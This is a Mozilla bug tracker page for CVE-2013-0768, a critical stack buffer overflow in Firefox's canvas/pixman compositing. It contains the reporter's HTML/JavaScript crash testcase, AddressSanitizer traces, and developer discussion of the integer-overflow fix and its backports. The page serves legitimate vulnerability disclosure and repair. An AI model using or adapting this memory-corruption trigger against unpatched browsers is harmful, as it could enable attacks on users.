Closed
Bug 815795
(CVE-2013-0768)
Opened 12 years ago
Closed 12 years ago
stack buffer overflow with canvas
Categories
(Core :: Graphics: Canvas2D, defect)
Tracking
()
RESOLVED
FIXED
mozilla20
People
(Reporter: miaubiz, Assigned: gw280)
Details
(Keywords: csectype-intoverflow, reporter-external, sec-critical, Whiteboard: [asan][adv-main18+][adv-esr17+])
Attachments
(3 files, 1 obsolete file)
|
823 bytes,
text/plain
|
Details | |
|
2.20 KB,
text/plain
|
Details | |
|
957 bytes,
patch
|
jrmuizel
:
review+
bajaj
:
approval-mozilla-aurora+
bajaj
:
approval-mozilla-beta+
bajaj
:
approval-mozilla-esr10+
bajaj
:
approval-mozilla-esr17+
abillings
:
sec-approval+
|
Details | Diff | Splinter Review |
<html>
<head>
<script>
setTimeout("location.reload()", 1000)
el18=document.createElement('canvas')
ctx=el18.getContext('2d')
ctx.shadowColor = 'black'
ctx.shadowBlur = 8
ctx.globalAlpha=0
ctx.miterLimit=0
ctx.strokeStyle=ctx.createLinearGradient(0, 0, 0, 0)
ctx.beginPath()
ctx.arc(50, 80, 125, 0.1, -1, false)
ctx.scale(0.0055, 1)
document.implementation.createDocument('' ,'' ,null).adoptNode(el18)
var imgxz= new Image()
imgxz.src = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg=='
ctx.fillStyle=ctx.createPattern(imgxz,'')
ctx.fill('', 0, 0)
</script>
</head>
<body>
</body>
</html>
results in:
==3262== ERROR: AddressSanitizer stack-buffer-overflow on address 0x7fffffff2c9c at pc 0x7ffff0388727 bp 0x7fffffff2990 sp 0x7fffffff2988
READ of size 4 at 0x7fffffff2c9c thread T0
#0 0x7ffff0388726 in fast_composite_scaled_bilinear_sse2_8888_8_8888_normal_OVER /builds/slave/try-lnx64/build/gfx/cairo/libpixman/src/pixman-sse2.c:5725
#1 0x7ffff02d8d97 in _moz_pixman_image_composite32 /builds/slave/try-lnx64/build/gfx/cairo/libpixman/src/pixman.c:712
#2 0x7ffff026227e in _composite_spans /builds/slave/try-lnx64/build/gfx/cairo/cairo/src/cairo-image-surface.c:3496
Address 0x7fffffff2c9c is located at offset 220 in frame <fast_composite_scaled_bilinear_sse2_8888_8_8888_normal_OVER> of T0's stack:
This frame has 5 object(s):
[32, 44) 'v'
[96, 104) 'buf1'
[160, 168) 'buf2'
[224, 736) 'extended_src_line0'
[768, 1280) 'extended_src_line1'
|
||
Updated•12 years ago
|
Whiteboard: [asan]
|
||
Updated•12 years ago
|
Flags: sec-bounty?
|
Assignee | |
Comment 4•12 years ago
|
||
Well, it's certainly reproducible. I'm having trouble debugging it right now, but I'm getting closer. Pixman's extensive use of preprocessor functions is causing me grief :)
This is a partial stacktrace of what I've got so far:
(gdb) bt
#0 0x0000000000429cb0 in __asan_report_error ()
#1 0x000000000042a0c7 in __asan_report_load4 ()
#2 0x00007fffef82786f in fast_composite_scaled_bilinear_sse2_8888_8_8888_normal_OVER (imp=<optimized out>,
info=<error reading variable: Unhandled dwarf expression opcode 0x0>) at /home/george/dev/mozilla-central-2/gfx/cairo/libpixman/src/pixman-sse2.c:26851
#3 0x00007fffef78e292 in _moz_pixman_image_composite32 (op=<optimized out>, src=<error reading variable: Unhandled dwarf expression opcode 0x0>, mask=<optimized out>,
dest=<optimized out>, src_x=<optimized out>, src_y=<optimized out>, mask_x=0, mask_y=0, dest_x=<optimized out>, dest_y=<optimized out>, width=<optimized out>,
height=<optimized out>) at /home/george/dev/mozilla-central-2/gfx/cairo/libpixman/src/pixman.c:712
#4 0x00007fffef68caf3 in _composite_spans (closure=<error reading variable: Unhandled dwarf expression opcode 0xa9>, dst=<optimized out>, dst_format=<optimized out>,
op=<optimized out>, pattern=<optimized out>, dst_x=<optimized out>, dst_y=<optimized out>, extents=<error reading variable: Unhandled dwarf expression opcode 0x1>,
clip_region=0x0) at /home/george/dev/mozilla-central-2/gfx/cairo/cairo/src/cairo-image-surface.c:3496
#5 0x00007fffef680950 in _clip_and_composite (dst=<optimized out>, op=<optimized out>, src=<error reading variable: Unhandled dwarf expression opcode 0x0>,
draw_func=<optimized out>, draw_closure=<optimized out>, extents=<optimized out>, clip=<optimized out>)
at /home/george/dev/mozilla-central-2/gfx/cairo/cairo/src/cairo-image-surface.c:2307
#6 0x00007fffef68b650 in _clip_and_composite_polygon (
dst=<error reading variable: DWARF-2 expression error: DW_OP_reg operations must be used either alone or in conjunction with DW_OP_piece or DW_OP_bit_piece.>,
op=<optimized out>, src=<optimized out>, polygon=<optimized out>, fill_rule=<optimized out>, antialias=<optimized out>, extents=<optimized out>, clip=<optimized out>)
at /home/george/dev/mozilla-central-2/gfx/cairo/cairo/src/cairo-image-surface.c:3554
#7 0x00007fffef67f26f in _cairo_image_surface_fill (abstract_surface=<optimized out>, op=<optimized out>, source=<optimized out>, path=<optimized out>,
fill_rule=<optimized out>, tolerance=<optimized out>, antialias=<optimized out>, clip=<optimized out>)
at /home/george/dev/mozilla-central-2/gfx/cairo/cairo/src/cairo-image-surface.c:3758
The line in question in pixman-sse2.c is:
unit_y = src_image->common.transform->matrix[1][1];
|
|
Assignee | |
Comment 5•12 years ago
|
||
Yep, definitely looks like a legitimate buffer overflow to me. The previous line information was incorrect, but in a debug build I see that we're passing crazy width/height values into pixman, which looks like we're integer overflowing or similar. That int is then being used as an index to an array.
|
||
Updated•12 years ago
|
Keywords: sec-critical
|
|
Assignee | |
Comment 6•12 years ago
|
||
Found the expression that overflows, and it seems upstream fixed this already.
Attachment #694097 -
Flags: review?(jmuizelaar)
|
|
Assignee | |
Comment 7•12 years ago
|
||
Erm, let's actually upload the correct patch this time...
Attachment #694097 -
Attachment is obsolete: true
Attachment #694097 -
Flags: review?(jmuizelaar)
Attachment #694098 -
Flags: review?(jmuizelaar)
|
||
Updated•12 years ago
|
Attachment #694098 -
Flags: review?(jmuizelaar) → review+
|
||
Comment 8•12 years ago
|
||
Solid. What versions of FF are affected?
|
|
Assignee | |
Comment 9•12 years ago
|
||
Comment on attachment 694098 [details] [diff] [review]
Fix integer overflow
[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Not easily.
Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No.
Which older supported branches are affected by this flaw?
All.
If not all supported branches, which bug introduced the flaw?
N/A
Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
This patch should cleanly apply to all current branches.
How likely is this patch to cause regressions; how much testing does it need?
Very unlikely. No explicit testing required.
Attachment #694098 -
Flags: sec-approval?
|
|
||
Comment 10•12 years ago
|
||
Cc'ing release management so we can talk about when we'd want to take this and give sec-approval. We're meeting today to go over Branch issues.
status-firefox-esr10:
--- → ?
status-firefox17:
--- → affected
status-firefox18:
--- → affected
status-firefox19:
--- → affected
status-firefox20:
--- → affected
status-firefox-esr17:
--- → affected
tracking-firefox18:
--- → ?
tracking-firefox19:
--- → ?
tracking-firefox20:
--- → +
tracking-firefox-esr17:
--- → ?
|
||
Comment 11•12 years ago
|
||
Once Al gives sec-approval, please nominate for uplift to Aurora/Beta/ESR10/ESR17, making sure to land no later than 12/26.
tracking-firefox-esr10:
--- → 18+
|
|
||
Comment 12•12 years ago
|
||
Comment on attachment 694098 [details] [diff] [review]
Fix integer overflow
sec-approval+ on trunk.
Attachment #694098 -
Flags: sec-approval? → sec-approval+
|
||
Updated•12 years ago
|
|
|
||
Updated•12 years ago
|
tracking-firefox-esr10:
18+ → ---
tracking-firefox-esr17:
18+ → ---
|
|
||
Updated•12 years ago
|
tracking-firefox-esr10:
--- → 18+
tracking-firefox-esr17:
--- → 18+
|
||
Comment 13•12 years ago
|
||
This file seems to have other unchecked integer arithmetic that could overflow too, e.g. line 1056:
src1 = src_first_line + src_stride * y1;
The most productive thing to do here would probably be to build this in IOC.
I assume that using CheckedInt here wasn't considered because pixman must remain free of dependency on MFBT.
|
|
Assignee | |
Comment 14•12 years ago
|
||
Landed on m-c:
https://hg.mozilla.org/mozilla-central/rev/7457db98e2e3
|
|
Assignee | |
Comment 15•12 years ago
|
||
Comment on attachment 694098 [details] [diff] [review]
Fix integer overflow
[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: sec-critical
Fix Landed on Version: 20 (m-c trunk)
Risk to taking this patch (and alternatives if risky): None
String or UUID changes made by this patch: None
See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: sec-critical
Fix Landed on Version: 20 (m-c trunk)
Risk to taking this patch (and alternatives if risky): None
String or UUID changes made by this patch: None
See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
[Approval Request Comment]
Bug caused by (feature/regressing bug #):
User impact if declined: potential for critical security exploit
Testing completed (on m-c, etc.): In m-c now.
Risk to taking this patch (and alternatives if risky): None
String or UUID changes made by this patch: None
Attachment #694098 -
Flags: approval-mozilla-esr17?
Attachment #694098 -
Flags: approval-mozilla-esr10?
Attachment #694098 -
Flags: approval-mozilla-beta?
Attachment #694098 -
Flags: approval-mozilla-aurora?
|
||
Updated•12 years ago
|
Attachment #694098 -
Flags: approval-mozilla-esr17?
Attachment #694098 -
Flags: approval-mozilla-esr17+
Attachment #694098 -
Flags: approval-mozilla-esr10?
Attachment #694098 -
Flags: approval-mozilla-esr10+
Attachment #694098 -
Flags: approval-mozilla-beta?
Attachment #694098 -
Flags: approval-mozilla-beta+
Attachment #694098 -
Flags: approval-mozilla-aurora?
Attachment #694098 -
Flags: approval-mozilla-aurora+
|
||
Comment 16•12 years ago
|
||
Is there any reason this isn't marked as FIXED if it's on m-c?
Flags: in-testsuite?
|
|
Assignee | |
Comment 17•12 years ago
|
||
https://hg.mozilla.org/releases/mozilla-beta/rev/59639b84eb14
https://hg.mozilla.org/releases/mozilla-aurora/rev/bdca00e901f1
https://hg.mozilla.org/releases/mozilla-esr17/rev/08c18065b666
The patch doesn't apply cleanly to esr10. I'm currently investigating whether esr10 is actually affected or not.
|
|
Assignee | |
Comment 18•12 years ago
|
||
esr10 doesn't appear to be affected (or at least, I can't reproduce it locally with esr10) so closing it for that.
|
|
||
Comment 19•12 years ago
|
||
Status: NEW → RESOLVED
Closed: 12 years ago
status-b2g18:
--- → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla20
|
||
Comment 20•12 years ago
|
||
George, is there a way to verify this? When I try earlier Firefox beta versions with the testcase here, I am prompted by the OS to close after a while. With the latest beta where the fix landed, I have to restart my VM in order to get out of it. So the problem might be fixed, but the symptom is a little worse with the fix.
Used Fx18b7 candidates on a Mint linux VM.
|
|
Assignee | |
Comment 21•12 years ago
|
||
I can reproduce locally. Will investigate. This may require a new bug.
|
|
Assignee | |
Comment 22•12 years ago
|
||
It seems to only crash in that way when running inside a virtual machine (VMware Fusion 5.0.1 in my case). What VM software are you running your Mint instance in?
|
|
||
Comment 23•12 years ago
|
||
I was running the VM on Fusion 4.1.3.
On hardware I don't see the problem in comment #20. With earlier versions I get a freeze when opening the test case. With Fx18b7 the browser remains responsive.
George, if you don't have any further concerns after finding out this only happens on VMWare, I'll go ahead and mark this as verified.
|
|
Assignee | |
Comment 24•12 years ago
|
||
Can you try setting the pref gfx.xrender.enabled to false and see if that fixes the crash in VMware?
|
|
Assignee | |
Comment 25•12 years ago
|
||
(By the way, I think this is a very uncommon use case so unless we can confirm the latest lockup is a buffer overflow or similar, I don't see this as a critical bug for beta/aurora/etc).
|
|
||
Comment 26•12 years ago
|
||
Setting the preference mentioned in comment #24 the problem goes away; the browser remains responsive.
|
|
||
Updated•12 years ago
|
|
|
Assignee | |
Comment 27•12 years ago
|
||
Looks like a driver bug in VMware then. I'll loop back with them upstream and discuss with others in graphics what to do about it.
|
|
||
Updated•12 years ago
|
Whiteboard: [asan] → [asan][adv-main18+][adv-esr17+]
|
|
||
Updated•12 years ago
|
Alias: CVE-2013-0768
|
|
||
Updated•12 years ago
|
Flags: sec-bounty? → sec-bounty+
|
|
||
Updated•12 years ago
|
Keywords: csec-intoverflow
|
|
||
Updated•12 years ago
|
Group: core-security
|
||
Updated•5 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•